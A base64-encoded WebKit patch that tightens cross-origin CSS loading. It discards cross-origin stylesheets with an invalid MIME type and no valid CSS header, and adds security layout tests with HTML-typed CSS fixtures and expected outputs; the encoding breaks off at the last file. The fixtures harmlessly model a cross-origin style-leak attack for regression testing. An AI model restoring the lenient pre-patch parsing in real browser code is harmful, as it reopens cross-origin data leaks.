Ci0tLSBXZWJDb3JlL2Nzcy9DU1NQYXJzZXIuY3BwCShyZXZpc2lvbiA1MDc1NikKKysrIFdlYkNv
cmUvY3NzL0NTU1BhcnNlci5jcHAJKHdvcmtpbmcgY29weSkKQEAgLTEzOSw2ICsxMzksNyBAQAog
ICAgICwgbV9jdXJyZW50U2hvcnRoYW5kKDApCiAgICAgLCBtX2ltcGxpY2l0U2hvcnRoYW5kKGZh
bHNlKQogICAgICwgbV9oYXNGb250RmFjZU9ubHlWYWx1ZXMoZmFsc2UpCisgICAgLCBtX2hhZFN5
bnRhY3RpY2FsbHlWYWxpZENTU1J1bGUoZmFsc2UpCiAgICAgLCBtX2RlZmF1bHROYW1lc3BhY2Uo
c3RhckF0b20pCiAgICAgLCBtX2RhdGEoMCkKICAgICAsIHl5X3N0YXJ0KDEpCkBAIC01MTY5LDYg
KzUxNzAsMTIgQEAKICAgICByZXR1cm4ga2V5ZnJhbWVQdHI7CiB9CiAKK3ZvaWQgQ1NTUGFyc2Vy
OjppbnZhbGlkQmxvY2tIaXQoKQoreworICAgIGlmIChtX3N0eWxlU2hlZXQgJiYgIW1faGFkU3lu
dGFjdGljYWxseVZhbGlkQ1NTUnVsZSkKKyAgICAgICAgbV9zdHlsZVNoZWV0LT5zZXRIYXNTeW50
YWN0aWNhbGx5VmFsaWRDU1NIZWFkZXIoZmFsc2UpOworfQorCiBzdGF0aWMgaW50IGNzc1Byb3Bl
cnR5SUQoY29uc3QgVUNoYXIqIHByb3BlcnR5TmFtZSwgdW5zaWduZWQgbGVuZ3RoKQogewogICAg
IGlmICghbGVuZ3RoKQpJbmRleDogV2ViQ29yZS9jc3MvQ1NTR3JhbW1hci55Cj09PT09PT09PT09
PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT0K
LS0tIFdlYkNvcmUvY3NzL0NTU0dyYW1tYXIueQkocmV2aXNpb24gNTA3NTYpCisrKyBXZWJDb3Jl
L2Nzcy9DU1NHcmFtbWFyLnkJKHdvcmtpbmcgY29weSkKQEAgLTQxNiw3ICs0MTYsOSBAQAogICA7
CiAKIHJ1bGU6Ci0gICAgdmFsaWRfcnVsZQorICAgIHZhbGlkX3J1bGUgeworICAgICAgICBzdGF0
aWNfY2FzdDxDU1NQYXJzZXIqPihwYXJzZXIpLT5tX2hhZFN5bnRhY3RpY2FsbHlWYWxpZENTU1J1
bGUgPSB0cnVlOworICAgIH0KICAgfCBpbnZhbGlkX3J1bGUKICAgfCBpbnZhbGlkX2F0CiAgIHwg
aW52YWxpZF9pbXBvcnQKQEAgLTE1MTcsOCArMTUxOSwxMiBAQAogICAgIDsKIAogaW52YWxpZF9i
bG9jazoKLSAgICAneycgZXJyb3IgaW52YWxpZF9ibG9ja19saXN0IGVycm9yIGNsb3NpbmdfYnJh
Y2UKLSAgfCAneycgZXJyb3IgY2xvc2luZ19icmFjZQorICAgICd7JyBlcnJvciBpbnZhbGlkX2Js
b2NrX2xpc3QgZXJyb3IgY2xvc2luZ19icmFjZSB7CisgICAgICAgIHN0YXRpY19jYXN0PENTU1Bh
cnNlcio+KHBhcnNlciktPmludmFsaWRCbG9ja0hpdCgpOworICAgIH0KKyAgfCAneycgZXJyb3Ig
Y2xvc2luZ19icmFjZSB7CisgICAgICAgIHN0YXRpY19jYXN0PENTU1BhcnNlcio+KHBhcnNlcikt
PmludmFsaWRCbG9ja0hpdCgpOworICAgIH0KICAgICA7CiAKIGludmFsaWRfYmxvY2tfbGlzdDoK
SW5kZXg6IFdlYkNvcmUvY3NzL0NTU1BhcnNlci5oCj09PT09PT09PT09PT09PT09PT09PT09PT09
PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT0KLS0tIFdlYkNvcmUvY3Nz
L0NTU1BhcnNlci5oCShyZXZpc2lvbiA1MDc1NikKKysrIFdlYkNvcmUvY3NzL0NTU1BhcnNlci5o
CSh3b3JraW5nIGNvcHkpCkBAIC0xOTEsNiArMTkxLDcgQEAKICAgICAgICAgYm9vbCBhZGRWYXJp
YWJsZURlY2xhcmF0aW9uQmxvY2soY29uc3QgQ1NTUGFyc2VyU3RyaW5nJik7CiAgICAgICAgIGJv
b2wgY2hlY2tGb3JWYXJpYWJsZXMoQ1NTUGFyc2VyVmFsdWVMaXN0Kik7CiAgICAgICAgIHZvaWQg
YWRkVW5yZXNvbHZlZFByb3BlcnR5KGludCBwcm9wSWQsIGJvb2wgaW1wb3J0YW50KTsKKyAgICAg
ICAgdm9pZCBpbnZhbGlkQmxvY2tIaXQoKTsKICAgICAgICAgCiAgICAgICAgIFZlY3RvcjxDU1NT
ZWxlY3Rvcio+KiByZXVzYWJsZVNlbGVjdG9yVmVjdG9yKCkgeyByZXR1cm4gJm1fcmV1c2FibGVT
ZWxlY3RvclZlY3RvcjsgfQogICAgICAgICAKQEAgLTIxMiw2ICsyMTMsNyBAQAogICAgICAgICBi
b29sIG1faW1wbGljaXRTaG9ydGhhbmQ7CiAKICAgICAgICAgYm9vbCBtX2hhc0ZvbnRGYWNlT25s
eVZhbHVlczsKKyAgICAgICAgYm9vbCBtX2hhZFN5bnRhY3RpY2FsbHlWYWxpZENTU1J1bGU7CiAK
ICAgICAgICAgVmVjdG9yPFN0cmluZz4gbV92YXJpYWJsZU5hbWVzOwogICAgICAgICBWZWN0b3I8
UmVmUHRyPENTU1ZhbHVlPiA+IG1fdmFyaWFibGVWYWx1ZXM7CkluZGV4OiBXZWJDb3JlL2Nzcy9D
U1NJbXBvcnRSdWxlLmNwcAo9PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09
PT09PT09PT09PT09PT09PT09PT09PT09PT09Ci0tLSBXZWJDb3JlL2Nzcy9DU1NJbXBvcnRSdWxl
LmNwcAkocmV2aXNpb24gNTA3NTYpCisrKyBXZWJDb3JlL2Nzcy9DU1NJbXBvcnRSdWxlLmNwcAko
d29ya2luZyBjb3B5KQpAQCAtMjYsNiArMjYsNyBAQAogI2luY2x1ZGUgIkRvY0xvYWRlci5oIgog
I2luY2x1ZGUgIkRvY3VtZW50LmgiCiAjaW5jbHVkZSAiTWVkaWFMaXN0LmgiCisjaW5jbHVkZSAi
U2VjdXJpdHlPcmlnaW4uaCIKICNpbmNsdWRlICJTZXR0aW5ncy5oIgogI2luY2x1ZGUgPHd0Zi9T
dGRMaWJFeHRyYXMuaD4KIApAQCAtNjEsMTEgKzYyLDE4IEBACiAgICAgbV9zdHlsZVNoZWV0ID0g
Q1NTU3R5bGVTaGVldDo6Y3JlYXRlKHRoaXMsIHVybCwgY2hhcnNldCk7CiAKICAgICBDU1NTdHls
ZVNoZWV0KiBwYXJlbnQgPSBwYXJlbnRTdHlsZVNoZWV0KCk7Ci0gICAgYm9vbCBzdHJpY3QgPSAh
cGFyZW50IHx8IHBhcmVudC0+dXNlU3RyaWN0UGFyc2luZygpOwotICAgIFN0cmluZyBzaGVldFRl
eHQgPSBzaGVldC0+c2hlZXRUZXh0KHN0cmljdCk7Ci0gICAgbV9zdHlsZVNoZWV0LT5wYXJzZVN0
cmluZyhzaGVldFRleHQsIHN0cmljdCk7CisgICAgYm9vbCBlbmZvcmNlTUlNRVR5cGUgPSAhcGFy
ZW50IHx8IHBhcmVudC0+dXNlU3RyaWN0UGFyc2luZygpOworICAgIGJvb2wgY3Jvc3NPcmlnaW5D
U1MgPSBmYWxzZTsKKyAgICBib29sIHZhbGlkTUlNRVR5cGUgPSBmYWxzZTsKKyAgICBpZiAoIXBh
cmVudC0+ZG9jKCkgfHwgIXBhcmVudC0+ZG9jKCktPnNlY3VyaXR5T3JpZ2luKCktPmNhblJlcXVl
c3QoS1VSTChQYXJzZWRVUkxTdHJpbmcsIHVybCkpKQorICAgICAgICBjcm9zc09yaWdpbkNTUyA9
IHRydWU7CiAKLSAgICBpZiAoc3RyaWN0ICYmIHBhcmVudCAmJiBwYXJlbnQtPmRvYygpICYmIHBh
cmVudC0+ZG9jKCktPnNldHRpbmdzKCkgJiYgcGFyZW50LT5kb2MoKS0+c2V0dGluZ3MoKS0+bmVl
ZHNTaXRlU3BlY2lmaWNRdWlya3MoKSkgeworICAgIFN0cmluZyBzaGVldFRleHQgPSBzaGVldC0+
c2hlZXRUZXh0KGVuZm9yY2VNSU1FVHlwZSwgJnZhbGlkTUlNRVR5cGUpOworICAgIG1fc3R5bGVT
aGVldC0+cGFyc2VTdHJpbmcoc2hlZXRUZXh0LCBlbmZvcmNlTUlNRVR5cGUpOworICAgIGlmIChj
cm9zc09yaWdpbkNTUyAmJiAhdmFsaWRNSU1FVHlwZSAmJiAhbV9zdHlsZVNoZWV0LT5oYXNTeW50
YWN0aWNhbGx5VmFsaWRDU1NIZWFkZXIoKSkKKyAgICAgICAgbV9zdHlsZVNoZWV0ID0gQ1NTU3R5
bGVTaGVldDo6Y3JlYXRlKHRoaXMsIHVybCwgY2hhcnNldCk7CisKKyAgICBpZiAoZW5mb3JjZU1J
TUVUeXBlICYmIHBhcmVudCAmJiBwYXJlbnQtPmRvYygpICYmIHBhcmVudC0+ZG9jKCktPnNldHRp
bmdzKCkgJiYgcGFyZW50LT5kb2MoKS0+c2V0dGluZ3MoKS0+bmVlZHNTaXRlU3BlY2lmaWNRdWly
a3MoKSkgewogICAgICAgICAvLyBXb3JrIGFyb3VuZCA8aHR0cHM6Ly9idWdzLndlYmtpdC5vcmcv
c2hvd19idWcuY2dpP2lkPTI4MzUwPi4KICAgICAgICAgREVGSU5FX1NUQVRJQ19MT0NBTChjb25z
dCBTdHJpbmcsIHNsYXNoS0hUTUxGaXhlc0RvdENzcywgKCIvS0hUTUxGaXhlcy5jc3MiKSk7CiAg
ICAgICAgIERFRklORV9TVEFUSUNfTE9DQUwoY29uc3QgU3RyaW5nLCBtZWRpYVdpa2lLSFRNTEZp
eGVzU3R5bGVTaGVldCwgKCIvKiBLSFRNTCBmaXggc3R5bGVzaGVldCAqL1xuLyogd29yayBhcm91
bmQgdGhlIGhvcml6b250YWwgc2Nyb2xsYmFycyAqL1xuI2NvbHVtbi1jb250ZW50IHsgbWFyZ2lu
LWxlZnQ6IDA7IH1cblxuIikpOwpJbmRleDogV2ViQ29yZS9sb2FkZXIvQ2FjaGVkQ1NTU3R5bGVT
aGVldC5oCj09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09
PT09PT09PT09PT09PT09PT0KLS0tIFdlYkNvcmUvbG9hZGVyL0NhY2hlZENTU1N0eWxlU2hlZXQu
aAkocmV2aXNpb24gNTA3NTYpCisrKyBXZWJDb3JlL2xvYWRlci9DYWNoZWRDU1NTdHlsZVNoZWV0
LmgJKHdvcmtpbmcgY29weSkKQEAgLTQwLDcgKzQwLDcgQEAKICAgICAgICAgQ2FjaGVkQ1NTU3R5
bGVTaGVldChjb25zdCBTdHJpbmcmIFVSTCwgY29uc3QgU3RyaW5nJiBjaGFyc2V0KTsKICAgICAg
ICAgdmlydHVhbCB+Q2FjaGVkQ1NTU3R5bGVTaGVldCgpOwogCi0gICAgICAgIGNvbnN0IFN0cmlu
ZyBzaGVldFRleHQoYm9vbCBlbmZvcmNlTUlNRVR5cGUgPSB0cnVlKSBjb25zdDsKKyAgICAgICAg
Y29uc3QgU3RyaW5nIHNoZWV0VGV4dChib29sIGVuZm9yY2VNSU1FVHlwZSA9IHRydWUsIGJvb2wq
IGhhc1ZhbGlkTUlNRVR5cGUgPSAwKSBjb25zdDsKIAogICAgICAgICB2aXJ0dWFsIHZvaWQgZGlk
QWRkQ2xpZW50KENhY2hlZFJlc291cmNlQ2xpZW50Kik7CiAgICAgICAgIApAQCAtNTYsNyArNTYs
NyBAQAogICAgICAgICB2b2lkIGNoZWNrTm90aWZ5KCk7CiAgICAgCiAgICAgcHJpdmF0ZToKLSAg
ICAgICAgYm9vbCBjYW5Vc2VTaGVldChib29sIGVuZm9yY2VNSU1FVHlwZSkgY29uc3Q7CisgICAg
ICAgIGJvb2wgY2FuVXNlU2hlZXQoYm9vbCBlbmZvcmNlTUlNRVR5cGUsIGJvb2wqIGhhc1ZhbGlk
TUlNRVR5cGUpIGNvbnN0OwogCiAgICAgcHJvdGVjdGVkOgogICAgICAgICBSZWZQdHI8VGV4dFJl
c291cmNlRGVjb2Rlcj4gbV9kZWNvZGVyOwpJbmRleDogV2ViQ29yZS9sb2FkZXIvQ2FjaGVkQ1NT
U3R5bGVTaGVldC5jcHAKPT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09
PT09PT09PT09PT09PT09PT09PT09PT09PQotLS0gV2ViQ29yZS9sb2FkZXIvQ2FjaGVkQ1NTU3R5
bGVTaGVldC5jcHAJKHJldmlzaW9uIDUwNzU2KQorKysgV2ViQ29yZS9sb2FkZXIvQ2FjaGVkQ1NT
U3R5bGVTaGVldC5jcHAJKHdvcmtpbmcgY29weSkKQEAgLTcxLDExICs3MSwxMSBAQAogICAgIHJl
dHVybiBtX2RlY29kZXItPmVuY29kaW5nKCkubmFtZSgpOwogfQogICAgIAotY29uc3QgU3RyaW5n
IENhY2hlZENTU1N0eWxlU2hlZXQ6OnNoZWV0VGV4dChib29sIGVuZm9yY2VNSU1FVHlwZSkgY29u
c3QgCitjb25zdCBTdHJpbmcgQ2FjaGVkQ1NTU3R5bGVTaGVldDo6c2hlZXRUZXh0KGJvb2wgZW5m
b3JjZU1JTUVUeXBlLCBib29sKiBoYXNWYWxpZE1JTUVUeXBlKSBjb25zdCAKIHsgCiAgICAgQVNT
RVJUKCFpc1B1cmdlYWJsZSgpKTsKIAotICAgIGlmICghbV9kYXRhIHx8IG1fZGF0YS0+aXNFbXB0
eSgpIHx8ICFjYW5Vc2VTaGVldChlbmZvcmNlTUlNRVR5cGUpKQorICAgIGlmICghbV9kYXRhIHx8
IG1fZGF0YS0+aXNFbXB0eSgpIHx8ICFjYW5Vc2VTaGVldChlbmZvcmNlTUlNRVR5cGUsIGhhc1Zh
bGlkTUlNRVR5cGUpKQogICAgICAgICByZXR1cm4gU3RyaW5nKCk7CiAgICAgCiAgICAgaWYgKCFt
X2RlY29kZWRTaGVldFRleHQuaXNOdWxsKCkpCkBAIC0xMjIsMTIgKzEyMiwxMiBAQAogICAgIGNo
ZWNrTm90aWZ5KCk7CiB9CiAKLWJvb2wgQ2FjaGVkQ1NTU3R5bGVTaGVldDo6Y2FuVXNlU2hlZXQo
Ym9vbCBlbmZvcmNlTUlNRVR5cGUpIGNvbnN0Citib29sIENhY2hlZENTU1N0eWxlU2hlZXQ6OmNh
blVzZVNoZWV0KGJvb2wgZW5mb3JjZU1JTUVUeXBlLCBib29sKiBoYXNWYWxpZE1JTUVUeXBlKSBj
b25zdAogewogICAgIGlmIChlcnJvck9jY3VycmVkKCkpCiAgICAgICAgIHJldHVybiBmYWxzZTsK
ICAgICAgICAgCi0gICAgaWYgKCFlbmZvcmNlTUlNRVR5cGUpCisgICAgaWYgKCFlbmZvcmNlTUlN
RVR5cGUgJiYgIWhhc1ZhbGlkTUlNRVR5cGUpCiAgICAgICAgIHJldHVybiB0cnVlOwogCiAgICAg
Ly8gVGhpcyBjaGVjayBleGFjdGx5IG1hdGNoZXMgRmlyZWZveC4gIE5vdGUgdGhhdCB3ZSBncmFi
IHRoZSBDb250ZW50LVR5cGUKQEAgLTEzOCw3ICsxMzgsMTIgQEAKICAgICAvLyBUaGlzIGNvZGUg
ZGVmYXVsdHMgdG8gYWxsb3dpbmcgdGhlIHN0eWxlc2hlZXQgZm9yIG5vbi1IVFRQIHByb3RvY29s
cyBzbwogICAgIC8vIGZvbGtzIGNhbiB1c2Ugc3RhbmRhcmRzIG1vZGUgZm9yIGxvY2FsIEhUTUwg
ZG9jdW1lbnRzLgogICAgIFN0cmluZyBtaW1lVHlwZSA9IGV4dHJhY3RNSU1FVHlwZUZyb21NZWRp
YVR5cGUocmVzcG9uc2UoKS5odHRwSGVhZGVyRmllbGQoIkNvbnRlbnQtVHlwZSIpKTsKLSAgICBy
ZXR1cm4gbWltZVR5cGUuaXNFbXB0eSgpIHx8IGVxdWFsSWdub3JpbmdDYXNlKG1pbWVUeXBlLCAi
dGV4dC9jc3MiKSB8fCBlcXVhbElnbm9yaW5nQ2FzZShtaW1lVHlwZSwgImFwcGxpY2F0aW9uL3gt
dW5rbm93bi1jb250ZW50LXR5cGUiKTsKKyAgICBib29sIHR5cGVPSyA9IG1pbWVUeXBlLmlzRW1w
dHkoKSB8fCBlcXVhbElnbm9yaW5nQ2FzZShtaW1lVHlwZSwgInRleHQvY3NzIikgfHwgZXF1YWxJ
Z25vcmluZ0Nhc2UobWltZVR5cGUsICJhcHBsaWNhdGlvbi94LXVua25vd24tY29udGVudC10eXBl
Iik7CisgICAgaWYgKGhhc1ZhbGlkTUlNRVR5cGUpCisgICAgICAgICpoYXNWYWxpZE1JTUVUeXBl
ID0gdHlwZU9LOworICAgIGlmICghZW5mb3JjZU1JTUVUeXBlKQorICAgICAgICByZXR1cm4gdHJ1
ZTsKKyAgICByZXR1cm4gdHlwZU9LOwogfQogIAogfQpJbmRleDogTGF5b3V0VGVzdHMvaHR0cC90
ZXN0cy9zZWN1cml0eS9yZXNvdXJjZXMveG9yaWdpbmNzczQuaHRtbAo9PT09PT09PT09PT09PT09
PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09Ci0tLSBM
YXlvdXRUZXN0cy9odHRwL3Rlc3RzL3NlY3VyaXR5L3Jlc291cmNlcy94b3JpZ2luY3NzNC5odG1s
CShyZXZpc2lvbiAwKQorKysgTGF5b3V0VGVzdHMvaHR0cC90ZXN0cy9zZWN1cml0eS9yZXNvdXJj
ZXMveG9yaWdpbmNzczQuaHRtbAkocmV2aXNpb24gMCkKQEAgLTAsMCArMSwzIEBACisuaWQ1IHsK
KyAgYmFja2dyb3VuZC1jb2xvcjogeWVsbG93OworfQpJbmRleDogTGF5b3V0VGVzdHMvaHR0cC90
ZXN0cy9zZWN1cml0eS9yZXNvdXJjZXMveG9yaWdpbmNzczEuaHRtbAo9PT09PT09PT09PT09PT09
PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09Ci0tLSBM
YXlvdXRUZXN0cy9odHRwL3Rlc3RzL3NlY3VyaXR5L3Jlc291cmNlcy94b3JpZ2luY3NzMS5odG1s
CShyZXZpc2lvbiAwKQorKysgTGF5b3V0VGVzdHMvaHR0cC90ZXN0cy9zZWN1cml0eS9yZXNvdXJj
ZXMveG9yaWdpbmNzczEuaHRtbAkocmV2aXNpb24gMCkKQEAgLTAsMCArMSw0IEBACisuaWQxIHsK
KyAgbm9zdWNocHJvcGVydHk6IGJsYWhibGFoOworICBiYWNrZ3JvdW5kLWNvbG9yOiB5ZWxsb3c7
Cit9CkluZGV4OiBMYXlvdXRUZXN0cy9odHRwL3Rlc3RzL3NlY3VyaXR5L3Jlc291cmNlcy94b3Jp
Z2luY3NzNS5odG1sCj09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09
PT09PT09PT09PT09PT09PT09PT09PT0KLS0tIExheW91dFRlc3RzL2h0dHAvdGVzdHMvc2VjdXJp
dHkvcmVzb3VyY2VzL3hvcmlnaW5jc3M1Lmh0bWwJKHJldmlzaW9uIDApCisrKyBMYXlvdXRUZXN0
cy9odHRwL3Rlc3RzL3NlY3VyaXR5L3Jlc291cmNlcy94b3JpZ2luY3NzNS5odG1sCShyZXZpc2lv
biAwKQpAQCAtMCwwICsxLDUgQEAKKzxodG1sPnt9CisuaWQ3IHsKKyAgYmFja2dyb3VuZC1jb2xv
cjogeWVsbG93OworfQorPC9odG1sPgpJbmRleDogTGF5b3V0VGVzdHMvaHR0cC90ZXN0cy9zZWN1
cml0eS9yZXNvdXJjZXMveG9yaWdpbmNzczEuY3NzCj09PT09PT09PT09PT09PT09PT09PT09PT09
PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT0KLS0tIExheW91dFRlc3Rz
L2h0dHAvdGVzdHMvc2VjdXJpdHkvcmVzb3VyY2VzL3hvcmlnaW5jc3MxLmNzcwkocmV2aXNpb24g
MCkKKysrIExheW91dFRlc3RzL2h0dHAvdGVzdHMvc2VjdXJpdHkvcmVzb3VyY2VzL3hvcmlnaW5j
c3MxLmNzcwkocmV2aXNpb24gMCkKQEAgLTAsMCArMSw1IEBACis8aHRtbD57fQorLmlkMyB7Cisg
IGJhY2tncm91bmQtY29sb3I6IHllbGxvdzsKK30KKzwvaHRtbD4KSW5kZXg6IExheW91dFRlc3Rz
L2h0dHAvdGVzdHMvc2VjdXJpdHkvcmVzb3VyY2VzL3hvcmlnaW5jc3MyLmNzcwo9PT09PT09PT09
PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09
Ci0tLSBMYXlvdXRUZXN0cy9odHRwL3Rlc3RzL3NlY3VyaXR5L3Jlc291cmNlcy94b3JpZ2luY3Nz
Mi5jc3MJKHJldmlzaW9uIDApCisrKyBMYXlvdXRUZXN0cy9odHRwL3Rlc3RzL3NlY3VyaXR5L3Jl
c291cmNlcy94b3JpZ2luY3NzMi5jc3MJKHJldmlzaW9uIDApCkBAIC0wLDAgKzEsNSBAQAorPGh0
bWw+e30KKy5pZDYgeworICBiYWNrZ3JvdW5kLWNvbG9yOiB5ZWxsb3c7Cit9Cis8L2h0bWw+Cklu
ZGV4OiBMYXlvdXRUZXN0cy9odHRwL3Rlc3RzL3NlY3VyaXR5L3Jlc291cmNlcy94b3JpZ2luY3Nz
Mi5odG1sCj09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09
PT09PT09PT09PT09PT09PT0KLS0tIExheW91dFRlc3RzL2h0dHAvdGVzdHMvc2VjdXJpdHkvcmVz
b3VyY2VzL3hvcmlnaW5jc3MyLmh0bWwJKHJldmlzaW9uIDApCisrKyBMYXlvdXRUZXN0cy9odHRw
L3Rlc3RzL3NlY3VyaXR5L3Jlc291cmNlcy94b3JpZ2luY3NzMi5odG1sCShyZXZpc2lvbiAwKQpA
QCAtMCwwICsxLDUgQEAKKzxodG1sPnt9CisuaWQyIHsKKyAgYmFja2dyb3VuZC1jb2xvcjogeWVs
bG93OworfQorPC9odG1sPgpJbmRleDogTGF5b3V0VGVzdHMvaHR0cC90ZXN0cy9zZWN1cml0eS9y
ZXNvdXJjZXMveG9yaWdpbmNzczYuaHRtbAo9PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09
PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09Ci0tLSBMYXlvdXRUZXN0cy9odHRw
L3Rlc3RzL3NlY3VyaXR5L3Jlc291cmNlcy94b3JpZ2luY3NzNi5odG1sCShyZXZpc2lvbiAwKQor
KysgTGF5b3V0VGVzdHMvaHR0cC90ZXN0cy9zZWN1cml0eS9yZXNvdXJjZXMveG9yaWdpbmNzczYu
aHRtbAkocmV2aXNpb24gMCkKQEAgLTAsMCArMSwzIEBACisjaWQxIHsKKyAgYmFja2dyb3VuZC1j
b2xvcjogeWVsbG93OworfQpJbmRleDogTGF5b3V0VGVzdHMvaHR0cC90ZXN0cy9zZWN1cml0eS9y
ZXNvdXJjZXMveG9yaWdpbmNzczMuaHRtbAo9PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09
PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09Ci0tLSBMYXlvdXRUZXN0cy9odHRw
L3Rlc3RzL3NlY3VyaXR5L3Jlc291cmNlcy94b3JpZ2luY3NzMy5odG1sCShyZXZpc2lvbiAwKQor
KysgTGF5b3V0VGVzdHMvaHR0cC90ZXN0cy9zZWN1cml0eS9yZXNvdXJjZXMveG9yaWdpbmNzczMu
aHRtbAkocmV2aXNpb24gMCkKQEAgLTAsMCArMSw1IEBACis8aHRtbD57fQorLmlkNCB7CisgIGJh
Y2tncm91bmQtY29sb3I6IHllbGxvdzsKK30KKzwvaHRtbD4KSW5kZXg6IExheW91dFRlc3RzL2h0
dHAvdGVzdHMvc2VjdXJpdHkvY3Jvc3Mtb3JpZ2luLWNzcy1leHBlY3RlZC50eHQKPT09PT09PT09
PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09
PQotLS0gTGF5b3V0VGVzdHMvaHR0cC90ZXN0cy9zZWN1cml0eS9jcm9zcy1vcmlnaW4tY3NzLWV4
cGVjdGVkLnR4dAkocmV2aXNpb24gMCkKKysrIExheW91dFRlc3RzL2h0dHAvdGVzdHMvc2VjdXJp
dHkvY3Jvc3Mtb3JpZ2luLWNzcy1leHBlY3RlZC50eHQJKHJldmlzaW9uIDApCkBAIC0wLDAgKzEs
NyBAQAorTElOSyBDcm9zcy1vcmlnaW4sIEhUTUwsIHZhbGlkOiByZ2IoMjU1LCAyNTUsIDApCitM
SU5LICsgSU1QT1JUIENyb3NzLW9yaWdpbiwgSFRNTCwgaW52YWxpZDogcmdiYSgwLCAwLCAwLCAw
KQorTElOSyBDcm9zcy1vcmlnaW4sIENTUywgaW52YWxpZDogcmdiKDI1NSwgMjU1LCAwKQorTElO
SyBTYW1lLW9yaWdpbiwgSFRNTCwgaW52YWxpZDogcmdiKDI1NSwgMjU1LCAwKQorSU1QT1JUIENy
b3NzLW9yaWdpbiwgSFRNTCwgdmFsaWQ6IHJnYigyNTUsIDI1NSwgMCkKK0lNUE9SVCBDcm9zcy1v
cmlnaW4sIENTUywgaW52YWxpZDogcmdiKDI1NSwgMjU1LCAwKQorSU1QT1JUIFNhbWUtb3JpZ2lu
LCBIVE1MLCBpbnZhbGlkOiByZ2IoMjU1LCAyNTUsIDApCkluZGV4OiBMYXlvdXRUZXN0cy9odHRw
L3Rlc3RzL3NlY3VyaXR5L2Nyb3NzLW9yaWdpbi1jc3MtaW4teG1sLWV4cGVjdGVkLnR4dAo9PT09
PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09
PT09PT09Ci0tLSBMYXlvdXRUZXN0cy9odHRwL3Rlc3RzL3NlY3VyaXR5L2Nyb3NzLW9yaWdpbi1j
c3MtaW4teG1sLWV4cGVjdGVkLnR4dAkocmV2aXNpb24gMCkKKysrIExheW91dFRlc3RzL2h0dHAv
dGVzdHMvc2VjdXJpdHkvY3Jvc3Mtb3JpZ2luLWNzcy1pbi14bWwtZXhwZWN0ZWQudHh0CShyZXZp
c2lvbiAwKQpAQCAtMCwwICsxIEBACitYTUwgQ1NTIFNhbWUtb3JpZ2luLCBIVE1MLCB2YWxpZDog
cmdiYSgwLCAwLCAwLCAwKQpJbmRleDogTGF5b3V0VGVzdHMvaHR0cC90ZXN0cy9zZWN1cml0eS9j
cm9zcy1vcmlnaW4tY3NzLWluLXhtbC54bWwKPT09PT09PT09PT09PT09PT09PT09PT09PT09PT09
PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PQotLS0gTGF5b3V0VGVzdHMvaHR0
cC90ZXN0cy9zZWN1cml0eS9jcm9zcy1vcmlnaW4tY3NzLWluLXhtbC54bWwJKHJldmlzaW9uIDAp
CisrKyBMYXlvdXRUZXN0cy9odHRwL3Rlc3RzL3NlY3VyaXR5L2Nyb3NzLW9yaWdpbi1jc3MtaW4t
eG1sLnhtbAkocmV2aXNpb24gMCkKQEAgLTAsMCArMSwyMyBAQAorPD94bWwgdmVyc2lvbj0iMS4w
IiBlbmNvZGluZz0iVVRGLTgiPz4KKzw/eG1sLXN0eWxlc2hlZXQgdHlwZT0idGV4dC9jc3MiIGhy
ZWY9InJlc291cmNlcy94b3JpZ2luY3NzNi5odG1sIj8+Cis8aHRtbCB4bWxucz0iaHR0cDovL3d3
dy53My5vcmcvMTk5OS94aHRtbCI+Cis8aGVhZD4KKzxzY3JpcHQ+CitpZiAod2luZG93LmxheW91
dFRlc3RDb250cm9sbGVyKSB7CisgIGxheW91dFRlc3RDb250cm9sbGVyLndhaXRVbnRpbERvbmUo
KTsKKyAgbGF5b3V0VGVzdENvbnRyb2xsZXIuZHVtcEFzVGV4dCgpOworfQorCit3aW5kb3cub25s
b2FkID0gZnVuY3Rpb24oKSB7CisgIGVsZSA9IGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCJpZDEi
KTsKKyAgLy8gRm9yIG5vdywgc2ltcGx5IHRlc3QgdGhhdCBhbiBpbnZhbGlkIE1JTUUgdHlwZSAo
SFRNTCkgaXMgcmVqZWN0ZWQgZHVlIHRvCisgIC8vIHN0cmljdCBtb2RlLiBJdCBkb2Vzbid0IG1h
dHRlciBpZiB3ZSB0ZXN0IHNhbWUtb3JpZ2luIG9yIGNyb3NzLW9yaWdpbi4KKyAgZWxlLmlubmVy
VGV4dCA9ICJYTUwgQ1NTIFNhbWUtb3JpZ2luLCBIVE1MLCB2YWxpZDogIiArIHdpbmRvdy5nZXRD
b21wdXRlZFN0eWxlKGVsZSwgbnVsbCkuZ2V0UHJvcGVydHlWYWx1ZSgnYmFja2dyb3VuZC1jb2xv
cicpOworCisgIGlmICh3aW5kb3cubGF5b3V0VGVzdENvbnRyb2xsZXIpCisgICAgbGF5b3V0VGVz
dENvbnRyb2xsZXIubm90aWZ5RG9uZSgpOworfQorPC9zY3JpcHQ+Cis8L2hlYWQ+Cis8Ym9keT48
ZGl2IGlkPSJpZDEiPjwvZGl2PjwvYm9keT4KKzwvaHRtbD4KSW5kZXg6IExheW91dFRlc3RzL2h0
dHAvdGVzdHMvc2VjdXJpdHkvY3Jvc3Mtb3JpZ2luLWNzcy5odG1sCj09PT09PT09PT09PT09PT09
